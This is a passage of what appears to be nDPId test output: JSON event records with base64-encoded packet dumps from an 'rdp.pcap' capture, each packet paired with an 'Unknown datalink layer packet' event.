rH0LY0j01nFYrl3IUYEuTliIHbW8oCmL5Ueg2mI1cxlwaMXJmg\/hT+0WDYPTZ+e4kT7FO6JJq46Tamwv8mphpEh4o4uB+baf+njlDxxOIc\/aT82tVQ3J4KXAQHH2i59Vc36zu6ljxzw\/vYphXOA5Fzv80ZK5R+5t43tWTeIkZKEwKyZgS2srvQPu7OTZuUqkeqAMiCjH2NOXolOMCkYRpKkMfw8OKxMFGwlyh1byvY3oDbWMjnMSsDGtr4L72JW6Dzu6IPEYXy\/Vb8n1CyDV9lhEnmqCuq2rfLsUnApoj9sOWDrdRH5gG4sCbCRBUg\/pAi0HSY27O\/SPs+7XE\/ZRNi+aXlHDQ+G0lqr9gNjLrAT6uWs+jzOJpToredbBdJw63fjar2fdt38Ny09vkHyWZ95Mtq+jOwvkz2HhhKYFBSsh2mLu5J7Iboh5nXcUHXy9pfvPzis0Q6K1QbeULHWmXp2GYbGrEJEclv2fva5m19N9\/ky0olIS566k4wlLdr2Yqp7q\/VEGfHISQILRpHMdPWcLf1el6SnGg+hWJRGTymOujCrdUWFXdUq3qGluy65lKMxVawC2tyAXwm+YnhrgBsJ\/qVYG8595MHllVvHkfHDeGaKXtx1i8kfav0N\/iolrEMuRQ3PSV7MEljDODO7PKxCB7FO21+PRSe6I2xBOKzGTMONDz8YLs6HZBmV+B+0oFHZUceE33O8Ktr+LN\/fUmEYIppgYSvY5OPckd1j2m+tV1d28bnC7QS+qFegPjGKdjQyItnEHCxxXqxZ35WIGgj\/RlEQPgWsnbIHMbzWbI\/QBjv2VOEpgrlhyU50YNFX89J4C79US+akmQaFQL"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1679,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1680,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":667702,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjBEAAfwYlUcCoAo6sEAK5DT3NDkegzZn5vR7WUBj4qmHBAABWJWwt3Sul8vc6r\/ZP\/DSkTsyM5Lj8z0FAKd2vEFS+l9xcM1JzG9bjbvvY8DGNzFf8pcbajRt9nYUJ1MwNd9rJlAcTUjHSB45WcSUOaTbmoycM2jt33FkGimSs9JWLAv2X4iRB0wpP1KTiVr9x4iZCgnqq8\/5zgUtMXHLUJmhBTmAdIcZ7AG9wkoFAahwCs1vsBFsu4McZJqaMTZ5rFFOq1uIe9p9TGvQ9yQ0UIAjBqY256KdCpK9C6ze4s5uBNaiDfObmL5C\/9sjL7iz3P8jB9znbKR53EqIDz\/UXZzqzYaa0v4lz0mmoMx+\/+9A4hYGkF1SA9vOebp\/fl\/oTHO0LpC83g9qN6PtwQUyyJmzgzC4FBTf\/vmxpRodDUfAVmrZXlh9Nkmo17f8Ig7E2IRqBFLeKYuQrhxY+ou1Xwnhh16wAilWuiRUGKzbSA1aYrYBbjEyXslcFF\/\/JiDUf32fnBB+LwXuSQT56tE4O79VR\/GtkgbMG99u7dIlR"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1680,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1681,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":667753,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ICRHoM8UUBAf9BL+AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1681,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1682,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":667861,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jBUAAfwYmlsCoAo6sEAK5DT3NDkegzxT5vR7WUBj4qhaLAAAXAwMAMAAAAAAAAAIj4A3N6Q6beAI0g+hxItXjmTkw5rddA+SaVR2foKtQLUUinvaFuEpvdQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1682,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1683,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":667908,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ICRHoM9JUBAf\/hK\/AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1683,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1684,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668119,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjBkAAfwYmysCoAo6sEAK5DT3NDkegz0n5vR9IUBD4ODtgAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1684,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1685,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668231,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9ICRHoM9JUBggAC93AAAXAwMAOOAIO32NJwwyvLNA9\/x7x8R9SBSUC90M7x12R\/bRrPqDYGQPKxcomQFMt73i2tew1Dg1vTb\/s\/9f"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1685,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1686,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668266,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jB0AAfwYmlMCoAo6sEAK5DT3NDkegz0n5vR9IUBj4OP07AAAXAwMAMAAAAAAAAAIk2hLihWQR1DD+S4phsHFcdRDWDq7pc+asiVAkK6TrUpeVWSFMMr\/ZVw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1686,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1687,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668303,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IGFHoM9+UBAf\/hJNAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1687,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1688,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668542,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjCEAAfwYhz8CoAo6sEAK5DT3NDkegz375vR9IUBD4OIkvAAAXAwMGbwAAAAAAAAIlrtn\/s8TLzK9jG116X1fGEwdIpyx9Qp+KD3H1+9x6odKLAHFZ46BEuxy1JcVF2HFzRT92RDy0\/249VCEfvRrLCsrCSeL+WcWv+XH2I4ElBGhwUuCZfY9t4sJTiO8yqPEriBnZQHzZxYjuYIfaZLEcqkAyQF41rNAyaJO5yJtIvCzz\/bANItBFNXM4wk7GnH1L2K8Y7UDWyiNP5OICqoQwV3hhXlUn4Eyp9B0kLPMX8TCetM8O\/ER7ZHePQdemQXHtVd7+jCaua1CEOOXexZzxV6LuLxuPbR067zJmEj8AqAZe0gPwKGzPFyOcP\/95oBJf+3qTygvTJYjjbjwCPEivfkle43ZxzpwPjT1VbMbYg2XCPoGpx07lffjj3DmqpxCtlPCdbtgATRr8Cz9lLY\/3hsIclw3qDN1HKJt4da+xTAE102tSj\/Aw\/DG9mOgGGHPD7VAx51gVAA4K3oxIJEFfbLF8fJELnscaO\/k1WSm+EQvPB6PbEL+00\/b+5hx3wJSR7WMHKIz4rUyjwD3NiEQmTJpKoIdlf6wLDRSEH\/85hce0fJjNVo60C7+\/fDBOXVGs6da4nm5S6hsvEpJcz0A7sMjCmkeRGzkUHzLki0MBBF04HB0Sog+gLdwc6WGg3hSn1gBZT7+WaYTwPALfZTLT3JM4rP93fCoMCraUh56NYOwHzSxAENlhRu987xh4haDoVvfxD3SlcADjU92jpBm\/zjeD\/hDWm7JNyS\/dZy+owVmmKychVrgiGfXyU+f1fni5eWz\/lle8e5jnxtN8dxGjilGEM2BYwLWOJyCtOQBLwEqprnb9tZgV6E1WroerCkzhkXb+FmVyGzHg+UMYzL9mE\/kQw7s4zfsYzgiGibsdjTYDv5DNqmKQgm\/ufiTttJOUTD7RQY7GM9V9MBUHEhfhmHc01b278rRXUtghT5BHQ3L1q6NPyO95sZCssFTpzYN+WejdHivUtdVqn2iCQ5BTT0K+\/IzZkWnzyE4vDMVCPsN2ZsgFOJ0iPpiwYEvjFzhRWbWkjoSC\/9n7WILtGd6fLFIn5ZdrPAXdrjhcZC3uueQKXS1ahjYw9QbeyxJq\/fMGlkcxm8FdbjQ6Fmp9Yi8nqnvZ3hswf6lBLIH+JgwaWlqJgZF1EU6hvh2OJ0AdwhCEY5Fcf8B5hCOLcLBFY6h6bwKYeZRohwNMJ1O3vp2cyrtIzbMdtCyu0bibaUHMW\/sqe2ZgjPhxLmI2sZlEpv3DkQ6T0KjOVxm\/O15QuP9R7Hncije\/DYm+KaMevooRKrug1M8FqBmcr7FK4PCiQmGIWR6S6HWOQF\/TE9L8v7HM3hGVJODP12irCWFQ16VHbaVb+hPq9AVI3S1QOST6YsMfX1mKnWd8kJB0lO3MMhOxNAGl6GXXwo7Yf9s74sfYHQgZoA4QhncZvRw1djGnGEdUAKUa4zPYe9NeqluxuifvzglsOzrIqmsqH0nlikJVHBd3muSLQFEz6pP9TfJtjTwP2tLBNxCYfJNSopeO0uSHHT+Ov0b5ldqq0yCb9Cfv+Jq8SnzZx\/knBjLzTkIGqLOiDA8dEmCqG16oZOlXitjQToWzN8VXlo6eimW4HIADbzd\/jbb+TvTqvQ4FFcTNKkC8Z06wD1RZnkibmB1CGZVX8RyHEVktz1TwyFzYYsmVY+NbabcGd8Y1k\/AcoC\/I"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1688,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1689,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668593,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjCUAAfwYlTMCoAo6sEAK5DT3NDkeg1Hf5vR9IUBj4ONdOAAAEDjnnkwpcpE3Mrq2859uLzggUi6ptp5zyRX2+9yIdbNCnO70ozwEOaVFUzaMgQN6i7Q48PnRPtC1MtTS+e2L4HhbDQStr27HI3bQp0katRjCXxmufNTR6S6bIoKtT5yuoziUhfNe0WLMrxSZYBqXvNuNYHbfqRCfYl6FFQY8+FhhyP6NcHJwRVzqf7mw\/nTmQhyEXr8uwGI9bF\/f2\/3Dm50cVHoqHx0POasdiasld74dQWN90ZQ1\/FMZG9MqZzEmDvTzzwprKtH96C8aavuQaU30siAcqP2HnDQyjIIBgJxiIwvyWDxsAesusPKx4ITxCxY342HquZ3l5j0mGBDcLuVvEyiqq2\/ar+1LmsBbBOpDPfAAkoFW\/8eo4c1vD\/fhHxP4JeOAI\/dsvSB9DETCod6VJvIJAnbH7xe\/\/LhW7lBjLcjoKJomK9OfAsPpv2Bj2pz9y7EYKO8MS1mZdy9O8tJbiQ0PKiDsNEenV6SKQP9wtqXpQj+6vWVwr"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1689,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1690,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668633,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IGFHoNXyUBAf9AvjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1690,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1691,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668872,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjCkAAfwYhzcCoAo6sEAK5DT3NDkeg1fL5vR9IUBD4OHT\/AAAXAwMGbwAAAAAAAAIm\/tiy7ZSwZ7NVZFW37ZHF9Zn6iAMbRRTHe9YUJ0z82ZBYjQxpAZBWx14l2evbWV+H4FIe1mK75bIqPr8EDaNulKCCXIeoKgQx09fqwycHq2TYB2VIOlh3awcrSX6U++ZzzKVk65p4NYo4YpRBghlqm8CxwKR1Jjlm7IyNZgmNcOOq+8syjA+pmgRKa5bMfrrnbaHZl8a8GR6LCBBJLXkOClxR9k0npFeF61Lk5qvE5DDChj0SobT28xkc\/ABzmmqnXFYBep1Fb+NIOyIzGcJo+YTWsqP00e+JNxBoU4A1XQVoLgrOI8HMBz1egTpn9OqTkwjsP6GaTgjKRgzoJrD6X3NrcHnFcSxyn1kno1WiGIa\/6jLWfGupM+H1qstBDPeJSaLA5c0gsUP+p6+mNTM6tpE1ouuwQkQN\/iMQ4xXsKIpKfyeYmWI0sKl4HBtiTyEBrLA5NbbFO8mPdYTw2tLgRjIsW8jCL76TZbLnoPbCvEoi5BKjw1x4I2KvE82odAqUPtIDzXpKXZMVXJq2k8bmkRA5iwnhqSf6oVRSzgwV5QftXDGFznUjAc5nvOVVdAzWEQZFJ5Z2Cr7kPaxTUGUGCaF3e3zp1+zxOBmeBcvOwCYsZjlkWVh9xg74hrSrjAhfWX8oEFAgCQ+klgz2L9GOeEhBX39vpiHqZc7I5l7hX188fuZneb5U50AY4EqdfRCTYD8jg+lCU\/KJRnJ\/tgIaItdVMzaIARH\/iKNxQi\/cQis\/oSMbvl68m4bxcMVskCG5vtiyQJWZqJp1hbx\/30B5SUKW\/c9EOCFDhIGtF7KnSfr1nBXWHODlLNJNETzRjNAJtWm559vwbq0\/imI8Zrs3E+ci2bu2FeEEnoCocHFBrFxl1H6FzxGDY+k8ZMVvBYLKVEttPMHoM3Ml3FeSJ+ZDrqezAaq9rcxCsmf0KfQzh3JaEG\/IrI1Iod6\/BUlRdmNzr8k4xxovGblPixHoPetEx2O9RrQ5axe9hbm1DUew\/e4hhkKZfBLriUtFLARC3nEELu7bgcGtkX1l5KhbNZDgRt6YEq3hqbVsyKDBJlWAMVrzqHeJJ4ZXVsIu671oo8seGa3ENsNqswNaxV6aQtfSkdMrMqGXUHL\/2TG\/jrw65LjfK5JPG5nlF3h\/4QX\/0jV8VxSr4bPTMyGBBFtYoM\/byYA5U0+PsSPSEZv\/KkSrIXx87ycISgORgL0W64dtCUyPAsOMK2a+I+jbxsu07e6PVsAdo1DUwUyB3Jg4i\/J10TAgbHmeB9KpiVYemiAJ6b0jRyfhzAG9\/THP8KBSdsVm4cMvB5DMIvAHCVC1eqWBkH+H0McS82wrJ8elcfCv8F1T1ObcWszG1m3CtPCjfbqjS+920gNjqKfVGvFXE8ClutoRKbNuyHkHannNel9oTqdgnhky8xK6uMYfZFTt2k2ywzBdxaLOkjIdrhKIlzJ2EGup8K1S1na4ZGPbwwI05QP8hD0NfjqwA9Di47gAV2P1u7JKeXKlq70Mn9nqaM6RvvJq0ByJcw62YyU2Sd0\/7ffl1B6iOvYVYgK+cKBs9f4faelqTKD0QNk2rRL9pLyV86GvumMEFUy43YNRk7gCH3FXNcBNMzWppLXY8ZbOHioXZyAL5Vu\/RTTMCKcTwBF80sF6D0uNdnP4TC1VDp8XWB\/zeke1bt6xt3TQ7RAa"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1691,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00860{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1692,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668924,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjC0AAfwYlSsCoAo6sEAK5DT3NDkeg2uv5vR9IUBj4OD1WAAC+x\/lHH7abuw3z4W9+TqxJWXdTwd1OSUrufSpLvhX+7ubJaTza9KJ5HRr5FQwyEMqG02sWOBKPv\/3jUyPHUoHFwc5kPRcTQBoJjTAHOQn7Umwc7plm+VTjKYxmWraVelfO6rfaAY3QkhFhTPlubcLy0SCVCxdAQtlnFEDRNBf6cM9P2sWMw3TRInh+kKtex00Hm1AFox8wpBmgl5f1itRD4ESSiFsxMcWgE456OG3PXO4Kf5+uqCsOphFo1tYhZJ5Zo28b1m1nyXtIRWgBtIFbI8UHyW0Wuo52+P55MrWAjF57si3zuVjuPXAGhKFDB\/0NDSrzbQbmjNtqA8wTXWIHf6JpawV5a+kfbWN44QlTw01QDW+jmY4WigLXgdL6pxYdRcdfITkuQOVbOtUDYOU7SrEkMLrcYPu4hosn1WtJx2j8QkEOQwKq9Vmu72iIlh4U4kAyfLBIyVo2udJ8CNdbdV65hTw5vjThTbAndH4WpAPwzNflVtzH3Y3J"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1692,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1693,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":668957,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IGFHoNxmUBAf9AVvAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1693,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02084{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1694,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":669287,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjDEAAfwYhy8CoAo6sEAK5DT3NDkeg3Gb5vR9IUBD4ONhYAAAXAwMGbwAAAAAAAAIne1ElpxSiPsBQ2BiyR\/w0\/wg\/nvQ9k3Y5BhsWvySZaLztLIaPz9DWj7UJN0iHz2KLwC5uQGAxf1L864FQEEYU0yeCVtAcoGSXAmAxg61Dk9NhARqyL5JtU0tU39pBmUQI6\/vbQxMmk9MKOHbp7365jDQPXCUP6VFr2BfSUTDc3PUs2W5E\/NSRo5yQvMwllvzT0IU93JnlOsemo25uNjBYjWD5riZb71C7tE7i317wwGWk68ruFVNtYCFZ5B2q65oAWX6ZRIKp8Ov+J92KVF6prDm6Ef\/Gn\/GA7RWanfNKIGfv+JLUiu9aXS9jxuxjJsfjCVXAotw5n5oF2N5t2n4ZDNQiMVvLHC\/8xvLZOMvK\/Pv7bu9SDOfsZs68k49ZhHxP9uoj8FGqY\/0HcbRyJ5kxGJCjcZ4nAdgHJNifIqkA+RsbdmXuoXIPpyOL8KbVPvc8a7ETQPMyimVofp79Bzc4KQmY1AWuMzZE0EvjRebso855aty33hcv8jHT2rkkGWQIch8u6Dx9WiuWUUtzPPJCau4E9451GyeDJUMqaVdtf6xdqsO272QVxXb323IryOXRXXgnZmNe8AxqCnQiKFB5lmVkYA0Q\/jNG1uXHLZ+\/gh5ShZbGnbrsKyDGYpgadg2vTtjCl1A7lmYneiilr09e3xL5Cv1f\/wK2mhzESvizFCkx7dm+dwhAajJxE1Sp5TwAT3Fb0f5\/d8a5kG\/aqzB5vxWPkaz\/Z6dXocZJS3t2\/LwZE\/Jt\/bT+n50kdRasTIfEnYgbtTkLNWBhlQeQpzBaEC3yBC\/invWK3hyO6LQHWmC6LDDUYBZR6pYbNT\/oZl0tyFwJ3hpe6de4nOGsTNOF0tF1cbyEi8Tf8bIdVNkdpxD1hUXqLO\/WpK+p0tVvi2VTPiSgmUrt+nOR2PxZXiMxu8lMkFEvgT0Lw\/Chmd7OyL4Z3HxOtmuwAbsJ0W13tZvXMCxj99g4+ynAM4W59unsXItNtBoCHSteOnIMiYGOIGKympufM30vuTsREViU0ZnQKrbpuuYxHLFxMkqdKSIg82Ei52wxSYgU5POSa5eWt6haipiZaf6vlkwVI1u9NkGxsOZt8CdB4GWVfLxf2dCPpGTMec0PPZaH+BkG1piGlD7GZr2+Wya\/5Wn2kuoOET14ipq1n8pV8YK\/A0NurFXBIBStv\/F+c1JMsooGRQY6s2h\/A8Pg03eBjmZkiH+0THeiQs7CjmZRTLJK+BBRbClET9bl5GilOcEfIDdhN7fUARkZDYonzt9yL0r5jvsUANp\/Xphm1+8U+9WbDweZUprHwjkBuyIKgU26katAcggIcBOOgxE1SsgmnfiySeCbVZDkNgSV\/WPKlWu7Btc9MMFNrkyLIYzD7b4PYPS5sgQ8Ki3mb2bsdc\/dU+TBsg4pF7OvVrTrdFCxyInfKRKtS0EGVMasB+zCn9F8XUuHTleCwpwOuX4eA46Q3D7\/zPSxkqsdPU++kA7h8egxsL7u9QCb6fss9RJRFlb7QWKBUvds3Uwk4iNaUI4JrAJjeZKIxNwjcpJHHMxtieUlsQ4Wu\/6DnVbkWgSMYFRKL6nEdbpH7pma19YTvY2CuxSrP4hK8Zo0JR6wg0\/XzHwSTpAFrdN66Xl55JLxQfcAJvKjUGqK9nLIvV43ibN9atqcCD+u4hEZSt7vBOUGZ9HhUO1Q"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1694,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1695,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":669330,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjDUAAfwYlSMCoAo6sEAK5DT3NDkeg4V\/5vR9IUBj4OJOfAADcWdPbtNjHKEU4lJHqKA0xARRvPCEMY+vvcytuFeOCbvG+G5hv6QTuyVBilFOl92ZSWYd8IR4OVtHepvsHyZXAUOG0rrmeZhRcxSpAq8B+24NU0KXCPIPgkXbSsvQtdI53vv7opRlJSUtKGpzEiJR5idY6FN88bXTdweNHyXNR206fRJZpcFMgISmvkY38npu7eGFL3gd3PpwI+uE0aBwVZ2dv9vkZR2mdx3diF\/MATtOqzoQx7iDB8eeaFOOhNzUIbFrAqlbYH\/cdjBW36Rw0NOgSuOmW+am3ydELDiVCQnE9tBq+ih7FNBnQsU0ZatANnBTA+WMa2Ex9i5OGoYMKT\/4sY\/UpTHBekzj3CyjC5O6MiyILCIiFSFRV+3umrIEe8UBJ744wGnweXixfM+Tec2Dmkx4nPk9uYzDp8JFZQXb7LadLJ1XENUOk\/lTVAzHppT9R22VRxm88YowicOd57IoGMwAcez6T9rY0VWaEMniUk50sUfMl5iNl"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1695,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1696,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":669366,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IGFHoOLaUBAf9P76AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1696,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1697,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":669718,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjDkAAfwYhycCoAo6sEAK5DT3NDkeg4tr5vR9IUBD4OBN7AAAXAwMGbwAAAAAAAAIoBiALUFaEdpshVtvkGIT6dygkoF1eaUc0w+TM8rtHfLPkb99HoRArSTqRGdhbZmfO04UIY50j2vHc\/gE5JHw+1Lv2HL7z9Km8kG3\/Rwbyd9YdWVRLGLlDSqV33bOAY1xxkZbrkh6wfAzpij1oz\/HuEwMjYXO6QwJjoZ6dyINYjS8A5ucrHxFVpH1HrF7zBwHjOAW5LSKt+WviDdIKhorRAVmGwQJE\/XbFFx644eGpJPw2cmkoD5L3TYzMqurdgaZPZxOikcOjS76NkqSki2pBVZIw03d9sr1mxWQzBjm0+8ATGIElhnFk+geRHO9wzmny4Ab+OpA\/gAurojtqVMJMZLJgX1EQ4itxRVEbf5Fk5\/7VGalqB2Z0f5V2tqJW\/vNSixOfYPHgpykqdP2\/dwHyocoAAvzLwpx7Kb5qMPL+BF\/kghtZmpDzYVBjBI9iyUW2BBGqVwNwPEsH+D0+GEEhflgPunlJfQj1JRDn7SGHCmvox1gZJtpe64dq5P5kmMOgfv1x5wEcqWP69N5SvzbYealQuWd7TDF\/EBhhEHjyphWaEXJyiGKNf7tJBOmxZcsIBbHbKNReypjYYXnwi64BJogQqWcWaD4PgXIPtI1L3r8psg543rjsETMJRZtF2wVtg9bFpnhRrxk30s978tcR0mTap+DgP9GgUP8bGJVWRLfdhZ2uaxYDvas+5w\/lZIFPCQubQjdEQjfyoLkLdSPNActHv5J2YJn\/2Hb+kUuzkmAbr0AuE2DfgNxeSGwkbfFFlMMkax+T0HSXU+npj0+IowhMaAsJwm90e+We62yd7BWjlPtRaREY60iir5tcQWcg\/fmS+xGnDP6tCdu9L93g25KfceNjzjW+z6mJULI\/6rb1cZswdx0jj0rSWT6K97KusjA11Do1QRnIJ8P7nxRDGyrjt4Y\/MF9DbnC37eu3NtNYwzkp8lk3CrFJ0iglWTnuVo0GHANMzaR+BiuIofxBVvd219qdmFEjU1mIlvNi1ZLgOK6P5vqvHD2GeHOMa9O5lI53+39D1ers+Hrp0YMZj6rINnkeFG4uzLypRfika0mwdI9oxKhmc+9HMhTMYpWtkpKmHPCb9a2SLp9hA9QMcAMgcQSQdD5TyCeS6uT34m0K5JwsCWKe861K+KDCUlGlsIl3J1Z0qHAL31l4eRRYiWmyJ0Y2HLDhil+LIbGJ30Eyb37YV0LoTmqqal6VCQTsaq6ah